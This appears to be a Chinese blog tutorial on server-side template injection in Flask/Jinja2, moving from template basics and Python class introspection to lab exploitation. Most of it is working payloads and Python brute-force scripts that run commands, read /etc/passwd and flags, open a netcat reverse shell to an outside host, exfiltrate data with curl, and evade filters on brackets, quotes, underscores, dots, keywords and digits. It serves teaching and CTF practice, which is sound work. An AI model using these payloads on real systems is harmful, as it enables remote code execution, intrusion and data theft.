首页 > 其他分享 >SSTI模版注入

SSTI模版注入

时间:2023-10-15 18:33:46浏览次数:36  
标签:__ .__ name 模版 __.__ SSTI subclasses class 注入

SSTI模版注入

模板引擎

​ 模板引擎是为了使用户界面与业务数据分离而产生的,他可以生成特定格式的文档,利用模版引擎来生成前端的html代码,模版引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生产模版+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

SSTI

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

常见的模板引擎

  • PHP

Twig 模板变量:{{%s}}

Smarty 模板变量:{%s}

Blade 模板变量:{{%s}}

  • Python

Jinja2 模板变量:{{%s}}

Tornado 模板变量:{{%s}}

Django 模板变量:{{ }}

  • Java

FreeMarker 模板变量:<#%s>``${%s}

Velocity 模板变量:#set($x=1+1)${x}

判断模板类型

image-20231014162803270

Flask模版注入

Flask是一个轻量级的可定制框架,使用python语音编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或web的实现。Flask内置的模板引擎则使用Jinjia2

漏洞演示

正常代码:

from flask import Flask,render_template_string,request
app=Flask(__name__)
@app.route('/',methods=['GET'])
def index():
    str=request.args.get('a')
    html_str='''
    	<html>
    	<head></head>
    	<body>{{str}}</body>
    	</html>
    
    '''
    return render_template_string(html_str,str=str)
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

str值通过render_template_string加载到body中间
str是被{{}}包括起来的,会被预先渲染转义,然后才输出,不会被渲染执行。

image-20231014161931281

有问题的代码:

from flask import Flask,render_template_string,request
app=Flask(__name__)
@app.route('/',methods=['GET'])
def index():
    str=request.args.get('a')
    html_str='''
    	<html>
    	<head></head>
    	<body>{0}</body>
    	</html>
    
    '''.format(str)
    return render_template_string(html_str)
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

str值通过format()函数填充到body中间
{}里可以定义任何参数
return render_template_string会把{}内的字符串当成代码指令

image-20231014162704160

python venv环境安转及介绍

	Python有各种各样的系统包和第三方开发的包,让我们的开发变得异常容易。不过也引入了一个问题,不同代码需要的包版本可能是不一样的,所以常常回出现这种情况,为了代码B修改了依赖包的版本,代码B能work了,之前使用的代码A就没法正常工作了。因此常常需要对不同的代码设置不同的Python虚拟环境。venv是Python自带的虚拟环境管理工具,相当于主机上的vmware

kali安装venv

apt updatet

image-20231009194626537

python --version

image-20231009194712170

apt install python3.11-venv 

image-20231009194756895

创建venv环境安装flask

cd /opt
python -m venv flask1

image-20231009194906089

执行flask1路径下的python

方法一

#/opt/flask1/bin/python3 demo.py

方法二

#cd flask1
#source ./bin/activate

image-20231009195200312

安装flask

pip install flask -i https://mirrors.aliyun.com/pypi/simple/

image-20231009195407161

安装完成

image-20231009195710738

如何退出虚拟环境

#deactivate

image-20231009210113137

python flask应用介绍及搭建

flask
flask是一个使用python编写的轻量级Web应用框架。

其WSGI工具箱采用Werkzeug,模版引擎则使用Jinja2。Flask使用BSD授权。

Flask的特点有:良好的文档、丰富的插件、包含开发服务器和调试器、集成支持单元测试、RESTful请求调度、支持安全cookies、基于Unicode。

Python可直接使用flask启动一个web服务页面。

Flask基本架构

进入虚拟环境flask1
在/root路径下编辑demo.py

from flask import Flask 
app=Flask(__name__)#__name__是系统变量,指的是本py文件的文件名

@app.route('/')#路由,基于浏览器输入的字符串寻址
def hello():
    return "Yuanshen start"
if __name__=='__main__':
    app.run(host='0.0.0.0')

运行

image-20231009205013307

image-20231009205043587

我们更改一下路由,或者添加一个路由

from flask import Flask
app=Flask(__name__)

@app.route('/')
def hello():
    return "Yuanshen start"
@app.route('/apex')
def hello2():
    return "Apex start"
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)#port指定端口

image-20231009205712146

Flask变量及方法

格式化字符串
demo.py

from flask import Flask
app=Flask(__name__)

@app.route('/start/<name>')
def hello(name):
    return "%s start" % name
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)
http://192.168.200.129:1314/start/apex

image-20231010173400500

%s格式化字符串
%d接受整数
%f对于浮点值

from flask import Flask
app=Flask(__name__)

@app.route('/start/<name>')
def hello(name):
    return "%s start" % name
@app.route('/int/<int:postID>')
def show_num(postID):
    return "%d" % postID
@app.route('/float/<float:revNo>')
def revision(revNo):
    return "%f" % revNo
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

image-20231010174030203

image-20231010174057208

Flask HTTP方法

from flask import Flask,redirect,url_for,request,render_template

app=Flask(__name__)

@app.route('/')
def index():
    return render_template("index.html")

@app.route('/success/<name>')
def success(name):
    return 'welcome %s' % name
@app.route('/login',methods=['POST','GET'])
def login():
    if request.method == 'POST':
        user =request.form['ben']
        return redirect(url_for('success',name=user))
    else:
        user=request.args.get('ben')
        return redirect(url_for('success',name=user))
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

使用post提交

image-20231010193903916

image-20231010193918563

使用get提交

image-20231010194113490

image-20231010194122746

flask模板介绍

使用模板:使用静态的页面html展示动态的内容
模板是一个相应文本的文件,其中占用符(变量)表示动态部分,告诉模版引擎其具体的值需要从使用的数据中获取。
使用真实值替换变量,再返回最终得到的字符串,这个过程称为“渲染”。
Flask使用Jinja2这个模板引擎来渲染模板。

render_template

加载html文件。默认文件路径在template目录下。

demo3.py

from flask import Flask,render_template
app=Flask(__name__)
@app.route('/')
def index():
    return render_template("index.html")
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

index.html

<html>
        <head>
                <meta charset="UTF-8">
                <title>Title</title>
        </head>
        <body>
                模版html展示页面
        </body>

</html>

运行demo3.py

python3 demo3.py

image-20231014124058802

接下来我们往模板中传入数据、字符串、列表、字典

from flask import Flask,render_template
app=Flask(__name__)
@app.route('/')
def index():
    my_str='hello yuanshen'
    my_int=12
    my_array=[5,2,0,1,3,1,4]
    my_dict={
        'name':'zs',
        'age':18
            }
    return render_template("index.html",
                           my_str=my_str,
                           my_int=my_int,
                           my_array=my_array,
                           my_dict=my_dict
                           )#参数1:模板名称,参数n:传到模板里面的数据
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

我想获取字符串就可以在index.html中这样写:

<html>
        <head>
                <meta charset="UTF-8">
                <title>Title</title>
        </head>
        <body>
                模版html展示页面
                {{my_str}}
        </body>

</html>

image-20231014125455287

同理获取其他数据也是这样写。

也可以使用{%%},类似jsp

<html>
        <head>
                <meta charset="UTF-8">
                <title>Title</title>
        </head>
        <body>
                模版html展示页面
                {{my_str}}
                <br>
                {% set a='start'%}{{a}}
        </body>

</html>

image-20231014125816944

通过get方式获取值

from flask import Flask,render_template,request
app=Flask(__name__)
@app.route('/',methods=['GET'])
def index():
    my_str=request.args.get('a')
    my_int=12
    my_array=[5,2,0,1,3,1,4]
    my_dict={
        'name':'zs',
        'age':18
            }
    return render_template("index.html",
                           my_str=my_str,
                           my_int=my_int,
                           my_array=my_array,
                           my_dict=my_dict
                           )
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

image-20231014130139113

render_template_string

用于渲染字符串,直接定义内容

from flask import Flask,render_template,request
app=Flask(__name__)
@app.route('/')
def index():
    my_str='hello'
    my_int=12
    my_array=[5,2,0,1,3,1,4]
    my_dict={
        'name':'zs',
        'age':18
            }
    return render_template_string('<html lang="en"><head><meta charset="UTF-8"><title>Title</title></head><body>模版html展示页面<br>%s<br>%s</body></html>'%(my_str,my_int))
if __name__=='__main__':
    app.run(host='0.0.0.0',port=1314)

python继承关系和魔术方法

继承关系

父类和子类
子类调用父类下的其他子类
Python flask脚本没有办法直接执行Python指令
object是父子关系的顶端,所有的数据类型最终的父类都是object

class A:pass
class B(A):pass
class C(B):pass
class D(B):pass

这段代码,B的父类为A,C和D的父类为B,A的父类为object

魔术方法

__class__#查找当前类型所属的对象
__base__ #查找当前类的父类
__mro__  #查找当前类对象所有父类 当前类->父类->父类的父类->object   C->B->A->object
__subclasses__()#查找父类下的所有子类

__init__     #查看类是否重载。 初始化类,返回的类型是function(没有出现wrapper表示已经重载)
__globals__  #使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。

__builtins__#提供对python的所有“内置”标识符的直接访问

我们以之前的代码进行举例:

class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c=C()

查找当前类型所属的对象:

print(c.__class__)

image-20231014170832359

查找当前类的父类:

print(c.__class__.__base__)

image-20231014171026424

image-20231014171121273

image-20231014171146647

查找当前类对象所有父类:

print(c.__class__.__mro__)

image-20231014171629215

选择父类,可以用__mro__[]来选择,比如选择B

image-20231014172017035

查找父类下的所有子类

print(c.__class__.__base__.__subclasses__())

可以看到B下面有两个子类C和D:

image-20231014172319597

同理,也可以用中括号选择子类__subclasses__()[1]

靶场演示

打开jinja2靶场

image-20231014172814336

先输入{{1+1}}测试有没有漏洞

image-20231014172853951

可以看到成功执行,存在漏洞。我们使用''来获取他的当前类,也可以用双引号、中括号等等

{{''.__class__}}

image-20231014173134976

成功获取到所属的对象,然后使用mro获取他所有的父类

{{''.__class__.__mro__}}

image-20231014173431155

然后我们查看object下的子类:

{{''.__class__.__mro__[1].__subclasses__()}}
或者
{{''.__class__.__base__.__subclasses__()}}

image-20231014174331621

我们把这些值复制出来放到notepad,然后打开替换,把逗号替换成为换行符\n

image-20231014174743364

查找常用注入模块

image-20231014174921442

找到在118行有os._wrap_close
调用它需要在后面跟上中括号:__subclasses__()[117]

image-20231014175151559

使用__init__初始化类,如果没有出现wrapper字眼,说明已经重载

image-20231014175356036

然后globals全局来查找所有的方法及变量及参数。

{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__}}

image-20231014175521648

此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,很多可利用方法。

{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('cat+/etc/passwd').read()}}

image-20231014215246954

常用的注入模块

文件读取

查找子类_frozen_importlib_external.FileLoader

<class '_frozen_importlib_external.FileLoader'>

使用python脚本:

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if '_frozen_importlib_external.FileLoader' in response.text:
                print(i)
                break
                
    except:
        pass

运行脚本,得到所在位置为79

FileLoader的利用
["get_data"](0,"/etc/passwd") 调用get_data方法,传入参数0和文件路径

name={{''.__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

image-20231015100806368

读取配置文件

{{config}}

内建函数eval执行命令

内建函数:python在执行脚本时自动加载的函数

python脚本查看可利用的内建函数eval的模块

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if 'eval' in response.text:
                print(i)
                
    except:
        pass

image-20231015102153885

可以看到很多都包含eval

随便找一个试一下:

name={{().__class__.__base__.__subclasses__()[91].__init__.__globals__['__builtins__']}}

image-20231015102611319

利用:

payload

{{().__class__.__base__.__subclasses__()[91].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

image-20231015102906816

os模块执行命令

在其他函数中直接调用os模块
通过config,调用os

{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url_for,调用os

{{url_for.__globals__.os.popen('whoami').read()}}

在已经加载os模块的子类里直接调用os模块

{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}

python脚本查找已经加载os模块的子类

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if 'os.py' in response.text:
                print(i)
                
    except:
        pass

importlib类执行命令

可以将加载第三方库,使用load_module加载os
python脚本查找_frozen_importlib.BuiltinImport

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if '_frozen_importlib.BuiltinImport' in response.text:
                print(i)
                
    except:
        pass

payload

{{().__class__.__bases__[0].__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

image-20231015110138174

linecache函数执行命令

linecache函数可以用于读取任意一个文件的某一行,而这个函数也引用了os模块,所以我们也可以利用这个linecache函数去执行命令。

python脚本查找linecache

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if 'linecache' in response.text:
                print(i)
                
    except:
        pass

payload

{{''.__class__.__base__.__subclasses__()[265].__init__.__globals__['linecache']['os'].popen("cat /etc/passwd").read()}}
或者
{{''.__class__.__base__.__subclasses__()[265].__init__.__globals__.linecache.os.popen("cat /etc/passwd").read()}}

image-20231015111507460

subprocess.Popen类执行命令

从python2.4版本开始,可以用 subprocess 这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。子进程意在替代其他几个老的模块或者函数,比如: os.system、os.popen本等函数。

python脚本查找subprocess.Popen

import requests

url='http://192.168.200.129:18080/flaskBasedTests/jinja2/'

for i in range(500):
    data={'name':"{{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if 'subprocess.Popen' in response.text:
                print(i)
                
    except:
        pass

payload

{{''.__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

过滤绕过

1.双大括号过滤

使用{% %}绕过
{%%}可以用来声明变量,也可以用于循环语句和条件语句。

{% set x='asdf'%}
{%for i in [1,2,3,4,5]%}{{i}}{%endfor%}
{%if 2>1%}true{%endif%}

使用python脚本查找加载popen的子类:

import requests
 
url = 'http://192.168.200.129:18080/flasklab/level/2'
for i in range(0, 500):
    # post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
    data = {'code': '{% if "".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("cat /flag").read() %}haha{% endif %}'}
    try:
        # post传参,或根据实际情况使用get
        res = requests.post(url, data=data)
        if res.status_code == 200:
            # 查找存在自定义返回值的子类序号
            if 'haha' in res.text:
                print(i)
    except:
        pass

payload:

 # 假设序号为60子类能调用popen函数,则payload
 {% print(''.__class__.__base__.__subclasses__()[60].__init__.__globals__['popen']('cat /flag').read()) %}

例题

image-20231015130748863

先使用{{}}测试,发现被过滤掉了

image-20231015130830670

我们使用{%%}

image-20231015130947071

成功执行,接着构造payload

先用脚本跑出加载popen的子类序号,得出为117,没有回显,使用print输出

{%print(''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read())%}

image-20231015131439149

成功获得flag

2.无回显ssti

反弹shell
通过RCE反弹一个shell出来绕过无回显的页面

例题

image-20231015133038160

命令正确显示correct

image-20231015133117029

命令错误显示wrong

image-20231015133145636

直接使用脚本来反弹shell

# 无回显,反弹shell脚本
import requests
# 请求的url需自定义
url = 'http://192.168.200.129:18080/flasklab/level/3'
for i in range(0, 500):
    # post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
    data = {'code': '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.200.129 1314 -e /bin/bash").read() }}'}
    try:                                                                                                  # ip地址为本地ip,端口自定义
        # post传参,或根据实际情况使用get
        res = requests.post(url, data=data)
    except:
        pass

先在kali中监听nc -lvp 1314,然后运行脚本
反弹成功
image-20231015133710059

image-20231015133734214

外带注入
通过requestbin或dnslog的方式将信息传到外界

import requests
# 请求的url需自定义
url = 'http://192.168.200.129:18080/flasklab/level/3'
for i in range(0, 500):
    # post传输的data数据的键(变量名)和值(变量值)的第一部分需自定义
    data = {'code': '{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.200.129/`cat /flag`").read() }}'}
    try:                                                                                                  # ip地址为本地ip,端口自定义
        # post传参,或根据实际情况使用get
        res = requests.post(url, data=data)
    except:
        pass

同时kali开启一个python http监听
python3 -m http.server 80
运行脚本
image-20231015134818034

纯盲注(需要有一定的回显)

3.中括号过滤

使用__getitem__魔术方法可以代替中括号,绕过中括号过滤

import requests

url='http://192.168.200.129:18080/flasklab/level/4'

for i in range(500):
    data={'code':"{{''.__class__.__base__.__subclasses__().__getitem__("+str(i)+").__init__.__globals__}}"}
    try:
        response=requests.post(url,data=data)
        if response.status_code==200:
            if 'popen' in response.text:
                print(i)
                break
                
    except:
        pass

poayload

{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}
变成
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat flag').read()}}

4.单双引号过滤

当单双引号被过滤后,可以使用get或者post传参的方法来输入参数

# 当单双引号被过滤后以下访问将被限制
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
 
# 可以通过request.args的get传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.popen](request.args.cmd).read() }}
同时get传参?popen=popen&cmd=cat /flag
 
# 也可以通过request.form的post传参输入引号内的内容,payload:
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.form.popen](request.form.cmd).read() }}
同时post传参?popen=popen&cmd=cat /flag
 
# 还可以使用cookies传参,如request.cookies.k1、request.cookies.k2、k1=popen;k2=cat /flag

例题

image-20231015143855447

5.下划线过滤

什么是过滤器
过滤器是通过|进行使用的,例如{{ name|length }},将返回name的长度,过滤器相当于是一个函数,把当前的变量传入到过滤器中,然后过滤器根据自己的功能,再返回相应的值,之后再渲染到模板页面中。
attr()函数:获取对象的属性

{{''|attr('__class__')}}

image-20231015163838570

当下划线被过滤后,可以使用过滤器输入下划线。

# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
 
# 使用过滤器函数attr(),将带下划线部分作为attr()函数的参数并使用get或post给attr()函数传参数,payload:
{{ ()|attr(request.form.p1)|attr(request.form.p2)|attr(request.form.p3)()|attr(request.form.p4)(117)|attr(request.form.p5)|attr(request.form.p6)|attr(request.form.p7)('popen')('cat /flag')|attr('read')() }}
同时post传参p1=__class__&p2=__base__&p3=__subclasses__&p4=__getitem__&p5=__init__&p6=__globals__&p7=__getitem__
 
# arrt()的参数也可以不用get或post传参,而将arrt()函数的参数进行unicode编码

image-20231015164522013

将下划线进行16位编码的方式绕过

# 原payload存在下划线_被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
 
# 将下划线进行16位编码,payload:
{{ ()['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[117]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('cat /flag').read() }}

6.点过滤

使用中括号绕过点过滤

# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
 
# 使用中括号代替点,payload:
{{ ()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('cat /flag')['read']() }}

也可以使用过滤器attr()绕过:

# 原payload存在点被限制访问
{{ ().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /flag').read() }}
 
# 使用过滤器arrt()函数绕过点过滤,payload:
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat /flag')|attr('read')() }}

7.关键字过滤

+号拼接绕过

#假设关键字class被过滤
{{().__class__}}

# + 号绕过
{{()['__cl'+'ass__']}}

使用jinjia2的~号拼接

#假设关键字class、base被过滤
{{().__class__.__base__}}

#使用~号绕过
{% set a='__cl'%}{%set b='ass__'%}{%set c='__ba'%}{%set d='se__'%}{{()[a~b][c~d]}}

使用过滤器绕过
reverse()可以反转字符串

#假设关键字class、base被过滤
{{().__class__}}
#使用过滤器reverse绕过
{%set a='__ssalc__'|reverse%}{{()[a]}}

replace替换

{%set a="__claee__"|replace("ee","ss")%}{{()[a]}}

join过滤器

{%set a=dict(__cla=a,ss__=a)|join%}{{()[a]}}   #把键取出来组成新的字符串

{%set a=['__cla','ss__']|join%}{{()[a]}}

8.数字过滤

可以使用length过滤器计算字符长度来绕过

# 假设关键字class、base被过滤
{{().__class__.__base__.__subclasses__()[6]}}

#使用过滤器length绕过
{% set a='aaaaaa'|length%}{{().__class__.__base__.__subclasses__()[a]}}

#若数字较大时,可以使用数学运算
{%set a='aaa'|length*'aaa'|length%}     a=9

9.config过滤

config被过滤可以间接调用config

# 直接调用config被过滤无回显
{{ config }}
# 使用以下方式可间接调用config
{{ url_for.__globals__['current_app'].config }}
{{ get_flashed_messages.__globals__['current_app'].config }}

10.获取特殊符号(过滤)

在{% set a=(lipsum|string|list) %}{{a[1]}}中,a[1]为小于号
a[9]为空格,a[18]为下划线
 
类似的获取特殊符号的方法还有很多

标签:__,.__,name,模版,__.__,SSTI,subclasses,class,注入
From: https://www.cnblogs.com/fangao/p/17765942.html

相关文章

  • 万户OA SendFileCheckTemplateEdit-SQL注入
    漏洞简介万户OA存在SendFileCheckTemplateEdit-SQL注入,该漏洞为前台漏洞漏洞复现fofa语法:app="万户ezOFFICE协同管理平台"登录页面如下:POC:/defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvar......
  • 原始ajax、XSS注入ajax
    一、原始的ajax<%@pagecontentType="text/html;charset=UTF-8"pageEncoding="UTF-8"%><!DOCTYPEhtml><html><head><title>ajax</title></head><body><!--http://127.0.0.1:9999/aja......
  • springboot2.4下使用JUnit依赖注入失败的解决方案
    首先在pom.xml下引入JUnit必须的包:<dependency><groupId>junit</groupId><artifactId>junit</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId&......
  • SQL注入一些方法
    select(ascii(substr(database(),1,1)))>91这个查询语句的目的是检查数据库名的第一个字符的ASCII码是否大于91。让我们分解这个查询以便更好地理解它的含义:database():这是一个MySQL函数,用于返回当前数据库的名称。substr(database(),1,1):这是一个MySQL函数,用于从数据库名称......
  • SQL注入篇
    SQL注入篇Sql注入的一些零碎知识点Access数据库默认路径存放在网站的:/db/db.mdb.Mdb后缀就是access数据库文件的后缀名123asp.jpg的后门连接不成功123asp;.jpg的后门可以连接成功(虽然还是图片格式,但却可以连接成功)这是利用了解析漏洞这是iis6版本的解析漏洞在ii......
  • 网安--sql注入(高权限注入)
     查询库中的所有表:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374(test的hex)查询表的字段:http://127.0.0.1/sqli/Less-2/?id=-1%20union%20select%201,group_c......
  • 网安--sql注入(sql注入的基础防护)
    1、魔术引号MagicQuote打开后会在引号后面添加\,破坏路径,实现防御。在php.ini文件中找到magic_quotes_gpc=On开启magic_quotes_gpc=Off关闭 2、做一些数据类型的判断if(is_int($id)){}3、关键字过滤过滤select、union、insert等关键字str_replace('需要替换的字......
  • 网安--sql注入(文件读写)
    读写的内容:1、用户的信息2、配置信息文件读写注入的条件secure_file_priv限制了mysql导出文件的权限Linux:cat/etc/my.cnfwin:my.ini中的secure_file_privsecure_file_priv=null           代表不能进行文件读写secure_file_priv=文件路径   代表能在该文......
  • sql注入(mysql的重要语句语法)
    查询当前数据库服务器所有数据库showdatabases;选中某个数据库use数据库名查询当前数据库所有的表showtables;查询某表所有数据select*fromt1;(whereid=2;)union合并查询2个特性:前面的查询语句和后面的查询语句结果互不干扰前面的查询语句的字段数量和后面......
  • 网安--sql注入(系统库)
    5.0版本以上自带系统库。5.0版本一下没有。1、information_schema:nformation_schema是MySQL中的元数据信息数据库,它包含了MySQL服务器的所有数据库、表、列、索引、视图等元数据信息。通过information_schema数据库,用户可以轻松查询MySQL服务器的类似"showdatabases"等语句......